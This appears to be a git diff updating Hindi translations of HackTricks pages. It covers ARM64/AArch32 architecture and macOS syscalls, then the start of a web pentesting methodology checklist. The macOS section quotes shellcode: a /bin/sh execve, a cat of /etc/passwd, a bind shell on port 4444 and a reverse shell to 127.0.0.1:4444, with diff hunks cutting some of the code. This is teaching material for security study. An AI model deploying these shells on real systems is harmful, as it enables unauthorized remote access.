1. **स्थानीय चर को डिआलोकेट करें (यदि कोई आवंटित किया गया था)**: `add sp, sp, <size>`
2. **लिंक रजिस्टर और फ्रेम पॉइंटर को पुनर्स्थापित करें**:
1. **यदि कोई local variables अलोकेट किए गए थे तो उन्हें डिअलोकेट करें**: `add sp, sp, <size>`
2. **link register और frame pointer को पुनर्स्थापित करें**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (कॉलर को नियंत्रण लौटाता है जो लिंक रजिस्टर में पते का उपयोग करता है)
3. **वापसी**: `ret` (लिंक रजिस्टर में मौजूद address का उपयोग करके caller को नियंत्रण वापस करता है)
## AARCH32 निष्पादन स्थिति
Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** **`A32`** और **`T32`** के **दो निर्देश सेटों** में से एक में चल सकता है और **`interworking`** के माध्यम से उनके बीच स्विच कर सकता है।\
**विशिष्ट** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन** को निम्न विशेषाधिकार 32-बिट में अपवाद स्तर स्थानांतरण को निष्पादित करके शेड्यूल कर सकते हैं।\
ध्यान दें कि 64-बिट से 32-बिट में संक्रमण एक निम्न अपवाद स्तर के साथ होता है (उदाहरण के लिए, EL1 में एक 64-बिट प्रोग्राम EL0 में एक प्रोग्राम को ट्रिगर करता है)। यह तब किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग **`AArch32`** प्रोग्रामों का CPSR संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में प्रवेश करे, जो CPSR के आधार पर A32 या T32 में प्रवेश करता है।
Armv8-A 32-bit प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** दो **निर्देश सेट** में से किसी एक में चल सकता है: **`A32`** और **`T32`**, और इनके बीच **`interworking`** के माध्यम से स्विच कर सकता है.\
**Privileged** 64-bit प्रोग्राम कम privileges वाले 32-bit पर exception level transfer करके **32-bit प्रोग्रामों के निष्पादन** को schedule कर सकते हैं.\
ध्यान दें कि 64-bit से 32-bit में संक्रमण एक निचले exception level पर होता है (उदाहरण के लिए EL1 में चल रहा 64-bit प्रोग्राम EL0 में एक प्रोग्राम trigger करता है)। यह तब किया जाता है जब `AArch32` process thread execute करने के लिए तैयार होता है: special register **`SPSR_ELx`** का **bit 4** को **1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग `AArch32` प्रोग्राम का CPSR संग्रहीत करता है। इसके बाद, privileged process **`ERET`** instruction को कॉल करता है ताकि processor **`AArch32`** में transition कर सके और CPSR के अनुसार A32 या T32 में प्रवेश करे।
**`interworking`** CPSR के J और T बिट्स का उपयोग करके होता है। `J=0` और `T=0` का अर्थ है **`A32`** और `J=0` और `T=1` का अर्थ है **T32**। यह मूल रूप से सबसे कम बिट को 1 पर सेट करने का संकेत देता है कि निर्देश सेट T32 है।\
यह **interworking शाखा निर्देशों** के दौरान सेट किया जाता है, लेकिन अन्य निर्देशों के साथ सीधे भी सेट किया जा सकता है जब PC को गंतव्य रजिस्टर के रूप में सेट किया जाता है। उदाहरण:
The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\
यह **interworking branch instructions,** के दौरान सेट होता है, लेकिन PC को destination register के रूप में सेट करने पर अन्य instructions के साथ भी सीधे सेट किया जा सकता है। Example:
एक और उदाहरण:
Another example:
```armasm
_start:
.code 32 ; Begin using A32
@ -264,60 +267,60 @@ mov r0, #8
```
### Registers
16 32-बिट रजिस्टर (r0-r15) हैं। **r0 से r14** का उपयोग **किसी भी ऑपरेशन** के लिए किया जा सकता है, हालांकि इनमें से कुछ आमतौर पर आरक्षित होते हैं:
There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved:
- **`r15`**: प्रोग्राम काउंटर (हमेशा)। अगले निर्देश का पता रखता है। A32 में वर्तमान + 8, T32 में, वर्तमान + 4।
- **`r11`**: फ्रेम पॉइंटर
- **`r12`**: इंट्रा-प्रोसीजरल कॉल रजिस्टर
- **`r13`**: स्टैक पॉइंटर
- **`r14`**: लिंक रजिस्टर
- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
- **`r11`**: Frame Pointer
- **`r12`**: Intra-procedural call register
- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
- **`r14`**: Link Register
इसके अलावा, रजिस्टर **`बैंक्ड रजिस्ट्रियों`** में बैकअप होते हैं। ये ऐसे स्थान हैं जो रजिस्टर के मानों को संग्रहीत करते हैं जिससे **अपवाद हैंडलिंग** और विशेषाधिकार प्राप्त ऑपरेशनों में **तेज़ संदर्भ स्विचिंग** करना संभव होता है ताकि हर बार मैन्युअल रूप से रजिस्टर को सहेजने और पुनर्स्थापित करने की आवश्यकता न हो।\
यह **`CPSR`** से प्रोसेसर मोड के **`SPSR`** में प्रोसेसर स्थिति को सहेजकर किया जाता है जिसमें अपवाद लिया जाता है। अपवाद लौटने पर, **`CPSR`** को **`SPSR`** से पुनर्स्थापित किया जाता है।
Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\
This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**.
### CPSR - वर्तमान प्रोग्राम स्थिति रजिस्टर
### CPSR - वर्तमान प्रोग्राम स्टेटस रजिस्टर
AArch32 में CPSR AArch64 में **`PSTATE`** के समान काम करता है और इसे अपवाद लिए जाने पर बाद में निष्पादन को पुनर्स्थापित करने के लिए **`SPSR_ELx`** में भी संग्रहीत किया जाता है:
In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
फील्ड कुछ समूहों में विभाजित हैं:
The fields are divided in some groups:
- एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR): अंकगणितीय ध्वज और EL0 से सुलभ
- निष्पादन स्थिति रजिस्टर: प्रक्रिया का व्यवहार (OS द्वारा प्रबंधित)।
- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
- Execution State Registers: Process behaviour (managed by the OS).
#### एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR)
#### Application Program Status Register (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** ध्वज (AArch64 की तरह ही)
- **`Q`** ध्वज: इसे 1 पर सेट किया जाता है जब भी **पूर्णांक संतृप्ति होती है** एक विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार इसे **`1`** पर सेट करने के बाद, यह मान बनाए रखेगा जब तक इसे मैन्युअल रूप से 0 पर सेट नहीं किया जाता। इसके अलावा, कोई ऐसा निर्देश नहीं है जो इसके मान की जांच स्वचालित रूप से करता है, इसे मैन्युअल रूप से पढ़कर किया जाना चाहिए।
- **`GE`** (बड़ा या समान) ध्वज: इसका उपयोग SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) ऑपरेशनों में किया जाता है, जैसे "समानांतर जोड़" और "समानांतर घटाना"। ये ऑपरेशन एक ही निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं।
- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64)
- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually.
- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction.
उदाहरण के लिए, **`UADD8`** निर्देश **चार जोड़े बाइट्स** (दो 32-बिट ऑपरेन्ड से) को समानांतर में जोड़ता है और परिणामों को 32-बिट रजिस्टर में संग्रहीत करता है। फिर यह **`APSR`** में इन परिणामों के आधार पर **`GE`** ध्वज सेट करता है। प्रत्येक GE ध्वज एक बाइट जोड़ के लिए संबंधित होता है, यह दर्शाते हुए कि उस बाइट जोड़े के लिए जोड़ **ओवरफ्लो** हुआ या नहीं।
For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**.
**`SEL`** निर्देश इन GE ध्वजों का उपयोग करके शर्तीय क्रियाएँ करता है।
The **`SEL`** instruction uses these GE flags to perform conditional actions.
#### निष्पादन स्थिति रजिस्टर
#### Execution State Registers
- **`J`** और **`T`** बिट्स: **`J`** को 0 होना चाहिए और यदि **`T`** 0 है तो A32 निर्देश सेट का उपयोग किया जाता है, और यदि यह 1 है, तो T32 का उपयोग किया जाता है।
- **IT ब्लॉक स्थिति रजिस्टर** (`ITSTATE`): ये 10-15 और 25-26 से बिट्स हैं। ये **`IT`** उपसर्गित समूह के भीतर निर्देशों के लिए शर्तें संग्रहीत करते हैं।
- **`E`** बिट: **एंडियननेस** को दर्शाता है।
- **मोड और अपवाद मास्क बिट्स** (0-4): ये वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। **5वां** यह दर्शाता है कि प्रोग्राम 32-बिट (1) या 64-बिट (0) के रूप में चल रहा है। अन्य 4 वर्तमान में उपयोग किए जा रहे **अपवाद मोड** का प्रतिनिधित्व करते हैं (जब कोई अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया संख्या **वर्तमान प्राथमिकता** को दर्शाता है यदि इस दौरान कोई अन्य अपवाद उत्पन्न होता है।
- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used.
- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group.
- **`E`** bit: Indicates the **endianness**.
- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: कुछ अपवादों को **`A`**, `I`, `F` बिट्स का उपयोग करके अक्षम किया जा सकता है। यदि **`A`** 1 है तो इसका मतलब है कि **असिंक्रोनस एबॉर्ट्स** उत्पन्न होंगे। **`I`** बाहरी हार्डवेयर **इंटरप्ट रिक्वेस्ट्स** (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F **फास्ट इंटरप्ट रिक्वेस्ट्स** (FIRs) से संबंधित है।
- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs).
## macOS
### BSD syscalls
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) देखें। BSD syscalls में **x16 > 0** होगा।
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
### Mach Traps
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) में `mach_trap_table` और [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) में प्रोटोटाइप देखें। Mach traps की अधिकतम संख्या `MACH_TRAP_TABLE_COUNT` = 128 है। Mach traps में **x16 < 0** होगा, इसलिए आपको पिछले सूची से नंबर को **माइनस** के साथ कॉल करना होगा: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`** है।
Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
आप **`libsystem_kernel.dylib`** को डिसअसेंबलर में भी देख सकते हैं यह जानने के लिए कि इन (और BSD) syscalls को कैसे कॉल किया जाए:
You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls:
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
ध्यान दें कि **Ida** और **Ghidra** कैश से **विशिष्ट dylibs** को केवल कैश पास करके भी डिकंपाइल कर सकते हैं।
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
> [!TIP]
> कभी-कभी **`libsystem_kernel.dylib`** से **डिकंपाइल** किया गया कोड **जांचना** **स्रोत कोड** की तुलना में आसान होता है क्योंकि कई syscalls (BSD और Mach) का कोड स्क्रिप्ट के माध्यम से उत्पन्न होता है (स्रोत कोड में टिप्पणियाँ देखें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है।
> कभी-कभी **`libsystem_kernel.dylib`** से मिला हुआ **decompiled** code देखना **source code** की जाँच करने से आसान होता है क्योंकि कई syscalls (BSD और Mach) का code scripts के जरिए generate होता है (source code के comments देखें), जबकि dylib में आप देख सकते हैं कि वास्तव में क्या कॉल हो रहा है।
### machdep कॉल
### machdep calls
XNU एक और प्रकार के कॉल का समर्थन करता है जिसे मशीन निर्भर कहा जाता है। इन कॉल की संख्या आर्किटेक्चर पर निर्भर करती है और न तो कॉल और न ही संख्या स्थिर रहने की गारंटी है।
XNU एक और प्रकार के कॉल्स को सपोर्ट करता है जिन्हें machine dependent कहा जाता है। इन कॉल्स के नंबर आर्किटेक्चर पर निर्भर करते हैं और न तो कॉल्स और न ही उनके नंबरों की स्थिरता की गारंटी दी जा सकती है।
### comm पृष्ठ
### comm page
यह एक कर्नेल मालिक मेमोरी पृष्ठ है जो हर उपयोगकर्ता प्रक्रिया के पते के स्केप में मैप किया गया है। इसका उद्देश्य उपयोगकर्ता मोड से कर्नेल स्पेस में संक्रमण को तेज करना है, ताकि कर्नेल सेवाओं के लिए syscalls का उपयोग करने की तुलना में यह संक्रमण बहुत अप्रभावी न हो।
यह एक kernel-owned memory page है जो हर user process के address space में मैप होती है। इसका उद्देश्य user mode से kernel space में transition को तेज बनाना है — उन kernel services के लिए syscalls का उपयोग करने की बजाय, जो इतनी बार उपयोग में आते हैं कि बार-बार syscall करना बहुत inefficient होगा।
उदाहरण के लिए, कॉल `gettimeofdate` सीधे comm पृष्ठ से `timeval` का मान पढ़ता है।
For example the call `gettimeofdate` reads the value of `timeval` directly from the comm page.
### objc_msgSend
यह फ़ंक्शन Objective-C या Swift प्रोग्रामों में उपयोग में लाना बहुत सामान्य है। यह फ़ंक्शन एक Objective-C ऑब्जेक्ट के एक मेथड को कॉल करने की अनुमति देता है।
Objective-C या Swift प्रोग्राम्स में यह function बहुत आम है। यह function किसी Objective-C object के method को कॉल करने की अनुमति देता है।
पैरामीटर ([दस्तावेज़ में अधिक जानकारी](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
- x0: self -> इंस्टेंस का पॉइंटर
- x1: op -> मेथड का सेलेक्टर
- x2... -> कॉल किए गए मेथड के शेष तर्क
- x0: self -> instance का pointer
- x1: op -> method का selector
- x2... -> कॉल किए गए method के बाकी arguments
तो, यदि आप इस फ़ंक्शन की शाखा से पहले ब्रेकपॉइंट लगाते हैं, तो आप आसानी से lldb में देख सकते हैं कि क्या कॉल किया जा रहा है (इस उदाहरण में ऑब्जेक्ट `NSConcreteTask` से एक ऑब्जेक्ट को कॉल करता है जो एक कमांड चलाएगा):
तो, अगर आप इस function की branch से पहले breakpoint लगाते हैं, तो आप lldb में आसानी से पता लगा सकते हैं कि क्या invoke हो रहा है (इस उदाहरण में ऑब्जेक्ट `NSConcreteTask` के एक object को कॉल कर रहा है जो एक कमांड चलाएगा):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -369,31 +372,31 @@ whoami
)
```
> [!TIP]
> env वेरिएबल **`NSObjCMessageLoggingEnabled=1`** सेट करने से यह लॉग करना संभव है कि यह फ़ंक्शन कब कॉल किया गया है, जैसे कि `/tmp/msgSends-pid` फ़ाइल में।
> Setting the env variable **`NSObjCMessageLoggingEnabled=1`** से आप लॉग कर सकते हैं जब यह फ़ंक्शन कॉल होता है, एक फ़ाइल जैसे `/tmp/msgSends-pid` में।
>
> इसके अलावा, **`OBJC_HELP=1`** सेट करने और किसी भी बाइनरी को कॉल करने पर आप अन्य पर्यावरण वेरिएबल देख सकते हैं जिन्हें आप **log** करने के लिए उपयोग कर सकते हैं जब कुछ Objc-C क्रियाएँ होती हैं।
> इसके अलावा, **`OBJC_HELP=1`** सेट करके और कोई भी binary कॉल करने पर आप अन्य environment variables देख सकते हैं जिनका उपयोग आप certain Objc-C actions के होने पर **लॉग** करने के लिए कर सकते हैं।
जब यह फ़ंक्शन कॉल किया जाता है, तो निर्दिष्ट उदाहरण के कॉल किए गए मेथड को ढूंढना आवश्यक है, इसके लिए विभिन्न खोजें की जाती हैं:
When this function is called, it's needed to find the called method of the indicated instance, for this different searches are made:
- आशावादी कैश लुकअप करें:
- यदि सफल, तो समाप्त
- runtimeLock प्राप्त करें (पढ़ें)
- यदि (realize && !cls->realized) क्लास को realize करें
- यदि (initialize && !cls->initialized) क्लास को initialize करें
- क्लास के अपने कैश को आजमाएं:
- यदि सफल, तो समाप्त
- क्लास मेथड सूची को आजमाएं:
- यदि पाया गया, तो कैश भरें और समाप्त
- सुपरक्लास कैश को आजमाएं:
- यदि सफल, तो समाप्त
- सुपरक्लास मेथड सूची को आजमाएं:
- यदि पाया गया, तो कैश भरें और समाप्त
- यदि (resolver) मेथड रिसॉल्वर को आजमाएं, और क्लास लुकअप से दोहराएं
- यदि अभी भी यहाँ हैं (= सभी अन्य विफल हो गए हैं) तो फॉरवर्डर को आजमाएं
- Optimistic cache lookup करें:
- यदि सफल हो तो समाप्त।
- runtimeLock (read) प्राप्त करें
- If (realize && !cls->realized) realize class
- If (initialize && !cls->initialized) initialize class
- class की अपनी cache आज़माएँ:
- यदि सफल हो तो समाप्त।
- class method list आज़माएँ:
- यदि मिला तो cache भरें और समाप्त।
- superclass cache आज़माएँ:
- यदि सफल हो तो समाप्त।
- superclass method list आज़माएँ:
- यदि मिला तो cache भरें और समाप्त।
- If (resolver) method resolver आज़माएँ, और class lookup से दोहराएँ
- यदि अभी भी यहाँ हैं (= अन्य सब विफल), तो forwarder आज़माएँ
### Shellcodes
To compile:
कम्पाइल करने के लिए:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -417,7 +420,7 @@ done
```
<details>
<summary>शेलकोड का परीक्षण करने के लिए C कोड</summary>
<summary>C code जो shellcode का परीक्षण करता है</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -465,9 +468,9 @@ return 0;
```
</details>
#### शेल
#### Shell
[**यहाँ**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) से लिया गया और समझाया गया।
यह [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) से लिया गया है और समझाया गया है।
{{#tabs}}
{{#tab name="with adr"}}
@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh"
{{#endtab}}
{{#endtabs}}
#### कैट के साथ पढ़ें
#### cat के साथ पढ़ें
लक्ष्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों के स्टैक से है)।
लक्ष्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना, इसलिए दूसरा argument (x1) params की एक array है (जो memory में addresses का stack होता है).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### एक फोर्क से sh के साथ कमांड को लागू करें ताकि मुख्य प्रक्रिया समाप्त न हो।
#### fork से sh के साथ command invoke करें ताकि main process killed न हो
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
**पोर्ट 4444** में [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) से Bind shell
Bind shell [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s] से **port 4444** पर
```armasm
.section __TEXT,__text
.global _main
@ -693,9 +696,9 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### रिवर्स शेल
#### Reverse shell
From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444**
स्रोत: [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell को **127.0.0.1:4444** पर
```armasm
.section __TEXT,__text
.global _main

234
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,10 +1,10 @@
# 80,443 - Pentesting वेब कार्यप्रणाली
# 80,443 - Pentesting Web Methodology
{{#include ../../banners/hacktricks-training.md}}
## बुनियादी जानकारी
वेब सर्विस सबसे **सामान्य और व्यापक सेवा** है और इसमें कई **विभिन्न प्रकार की vulnerabilities** मौजूद हैं।
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई प्रकार की **vulnerabilities** मौजूद हैं।
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
```bash
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### वेब API मार्गदर्शन
### Web API मार्गदर्शन
{{#ref}}
@ -26,46 +26,46 @@ web-api-pentesting.md
## कार्यप्रणाली सारांश
> इस कार्यप्रणाली में हम मानकर चलेंगे कि आप केवल एक domain (or subdomain) पर हमला करने जा रहे हैं। इसलिए, आपको इस कार्यप्रणाली को दायरे (scope) के अंदर पाए गए प्रत्येक discovered domain, subdomain या IP (जिसमें अनिर्धारित web server हो) पर लागू करना चाहिए।
> इस कार्यप्रणाली में हम मानेंगे कि आप केवल एक domain (या subdomain) पर हमला कर रहे हैं और केवल वही। इसलिए, आपको यह कार्यप्रणाली उस scope के भीतर पाए गए हर domain, subdomain या IP (जिसमें undetermined web server हो) पर लागू करनी चाहिए।
- [ ] प्रारम्भ में **पहचानें** कि वेब सर्वर किन **technologies** का उपयोग कर रहा है। यदि आप tech की पहचान करने में सफल होते हैं तो test के बाकी हिस्सों के दौरान ध्यान में रखने के लिए कोई **tricks** देखें।
- [ ] क्या उस technology के संस्करण के लिए कोई **known vulnerability** है?
- [ ] कोई **well known tech** इस्तेमाल हो रही है? कोई **useful trick** है जो अधिक जानकारी निकालने में मदद करे?
- [ ] कोई **specialised scanner** चलाने योग्य है (जैसे wpscan)?
- [ ] **general purposes scanners** चलाएँ। आप कभी नहीं जान पाते कि वे कुछ खोज लेंगे या कोई रोचक जानकारी देंगे।
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि HTTPS)।
- [ ] वेब पृष्ठ पर **spidering** शुरू करें: यह सभी संभावित **files, folders** और उपयोग में आने वाले **parameters** को **find** करने का समय है। साथ ही **special findings** की जाँच करें।
- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे spider किया जाना चाहिए।_
- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें।
- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे Brute-Forced किया जाना चाहिए।_
- [ ] **Backups checking**: सामान्य backup extensions जोड़कर क्या आप खोजे गए **files** के **backups** पा सकते हैं, यह जांचें।
- [ ] **Brute-Force parameters**: छिपे हुए parameters को **find** करने का प्रयास करें।
- [ ] एक बार जब आप सभी संभावित **endpoints** को पहचान लें जो **user input** स्वीकार करते हैं, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जाँच करें।
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] शुरू करें **पहचान करने** से कि वेब सर्वर द्वारा कौन सी **technologies** उपयोग की जा रही हैं। अगर आप tech को सफलतापूर्वक पहचान पाते हैं तो टेस्ट के बाकी हिस्सों के दौरान ध्यान में रखने के लिए **tricks** देखें।
- [ ] क्या उस technology के version की कोई **known vulnerability** है?
- [ ] कोई **well known tech** उपयोग किया जा रहा है? कोई ऐसा **useful trick** जिससे अधिक जानकारी निकाली जा सके?
- [ ] कोई **specialised scanner** चलाने के लिए (जैसे wpscan)?
- [ ] सामान्य प्रयोजन के **scanners** लॉन्च करें। कभी-कभी वे कुछ ढूंढ लेते हैं या कुछ रोचक जानकारी दे देते हैं।
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (if HTTPS)।
- [ ] वेब पेज पर **spidering** शुरू करें: अब समय है सभी संभावित **files, folders** और प्रयोग हो रहे **parameters** खोजने का। साथ ही **special findings** की जांच करें।
- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलती है, उसे spider किया जाना चाहिए।_
- [ ] **Directory Brute-Forcing**: सभी खोजे गए folders पर brute force करके नए **files** और **directories** खोजने की कोशिश करें।
- [ ] _नोट: किसी भी नया directory जब भी brute-forcing या spidering के दौरान मिलता है, उसे Brute-Forced किया जाना चाहिए।_
- [ ] **Backups checking**: देखें क्या आप पाए गए **files** के **backups** सामान्य backup extensions जोड़कर ढूंढ सकते हैं।
- [ ] **Brute-Force parameters**: छिपे हुए parameters खोजने की कोशिश करें।
- [ ] एक बार जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं, की **पहचान** कर ली हो, तो उन सभी प्रकार की संबंधित **vulnerabilities** की जाँच करें।
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## सर्वर संस्करण (Vulnerable?)
## सर्वर संस्करण (कमजोर?)
### पहचान
जाँचें कि चल रहे सर्वर के **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\
रिस्पॉन्स के **HTTP headers and cookies** तकनीकें और/या उपयोग किए जा रहे **version** की **पहचान** के लिए बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर version की पहचान कर सकता है, लेकिन tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com) भी उपयोगी हो सकते हैं:
जाँच करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** तो नहीं हैं।\
प्रतिक्रिया के **HTTP headers और cookies** तकनीकों और/या उपयोग हो रहे संस्करण की **पहचान** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
खोजें **के लिए** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
खोजें [**वेब एप्लिकेशन के संस्करण की vulnerabilities**](../../generic-hacking/search-exploits.md)
### **जांचें कि कोई WAF है या नहीं**
### **जाँचें कि कोई WAF है या नहीं**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
